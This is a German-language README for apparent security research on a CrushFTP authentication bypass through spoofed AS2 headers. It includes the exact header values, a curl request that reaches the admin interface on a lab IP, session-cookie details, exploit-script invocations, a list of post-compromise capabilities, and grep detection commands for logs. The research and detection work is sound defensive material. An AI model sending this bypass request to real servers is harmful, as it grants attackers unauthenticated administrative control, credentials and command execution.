
# Forschung zur CrushFTP-AS2-Authentifizierungsumgehung, die nicht authentifizierten Admin-Zugriff ermöglicht. Enthält PoC-Skripte, Erkennungsregeln und technische Analyse für Bildungs- und Verteidigungszwecke.
⚠️ WICHTIG: Diese Schwachstelle wurde von CrushFTP im November 2025 gepatcht. Diese Forschung wird ausschließlich für Bildungs- und Verteidigungszwecke veröffentlicht.
📝 HINWEIS: Diese Forschung basiert auf Schwachstellenmustern ähnlich wie CVE-2025-54309. Die genaue CVE-Nummer kann abweichen. Es handelt sich um unabhängige Sicherheitsforschung, die in einer kontrollierten Heimlabor-Umgebung durchgeführt wurde.
Dieses Repository dokumentiert eine kritische Authentifizierungs-Bypass-Schwachstelle in CrushFTP-Servern, die durch Manipulation von AS2-Headern (Applicability Statement 2) vollständigen administrativen Zugriff ermöglicht. Die Schwachstelle erfordert keine Authentifizierung und kann mit einer einzigen HTTP-Anfrage ausgenutzt werden.
Wichtige Punkte:
Forscher: SmileyFace101 (@SmileyFace101)
Die Weboberfläche von CrushFTP vertraut AS2-Protokoll-Headern ohne ordnungsgemäße Validierung. Der Server geht davon aus, dass AS2-Anfragen bereits authentifiziert sind, und umgeht die normalen Authentifizierungsverfahren.
Verwundbare CrushFTP-Versionen (im Labor bestätigt):
Gepatchte Versionen:
Laborumgebung:
X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0
Beispiel (Laborumgebung):
curl -H "X-DMZ-Proxy: disabled" \
-H "X-AS2-Version: 1.0" \
-H "User-Agent: AS2Server/1.0" \
"http://10.0.100.50/WebInterface/admin/index.html"
Hinweis: Verwenden Sie dies nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.
Bei der Ausnutzung entdeckten wir eine mathematische Beziehung in der Sitzungscookie-Erzeugung, die die Ausnutzung zu 100 % zuverlässig macht:
CrushAuth Structure: [TIMESTAMP]_[SESSION_ID]
currentAuth = Last 4 characters of SESSION_ID
c2f parameter = Same as currentAuth value
| Security Aspect | Impact Level | Description |
|---|---|---|
| Vertraulichkeit | 🔴 KRITISCH | Vollständiger Zugriff auf Anmeldeinformationen, Konfigurationen, PGP-Schlüssel, Protokolle |
| Integrität | 🔴 KRITISCH | Erstellung von Benutzerkonten, Konfigurationsänderungen, Dateimodifikationen |
| Verfügbarkeit | 🟡 HOCH | Ausführung von Systembefehlen, Fähigkeit zur Dienstunterbrechung |
| Privilegienausweitung | 🔴 KRITISCH | Direkter Admin-Zugriff, dauerhafte Kontenerstellung |
✅ Vollständige Aufzählung von Servern und Benutzern
✅ Erstellung und Änderung von Benutzerkonten
✅ Dateisystemzugriff und -durchsuchung
✅ Befehlsausführung über die Telnet-Schnittstelle
✅ Jobplanung mit Systemrechten
✅ Zugriff auf PGP-Schlüssel und Zertifikate
✅ Änderung administrativer Konfigurationen
Siehe Verzeichnis detection/ für:
X-DMZ-Proxy: disabled
X-AS2-Version: 1.0
User-Agent: AS2Server/1.0
/WebInterface/function/ mit AS2-Headern# Web server logs
grep -E "(X-DMZ-Proxy|X-AS2-Version|AS2Server)" /var/log/nginx/access.log
# CrushFTP application logs
grep -E "(WebInterface/admin|WebInterface/function)" crushftp.log
.
├── README.md # This file - overview and usage
├── docs/
│ └── TECHNICAL_ANALYSIS.md # Complete technical deep-dive
├── exploits/
│ ├── enhanced_session_exploit.sh # Full exploitation with session mgmt
│ ├── targeted_exploitation.sh # High-value endpoint testing
│ └── adaptive_exploitation.sh # Multi-strategy approach
└── detection/
├── snort_rules.txt # IDS/IPS signatures (Snort)
├── suricata_rules.txt # IDS/IPS signatures (Suricata)
└── log_analysis.sh # Log analysis and IOC detection
Dokumentation lesen:
In Ihrem Labor testen:
# Make sure you own the target system!
./exploits/enhanced_session_exploit.sh 10.0.100.50
Erkennung bereitstellen: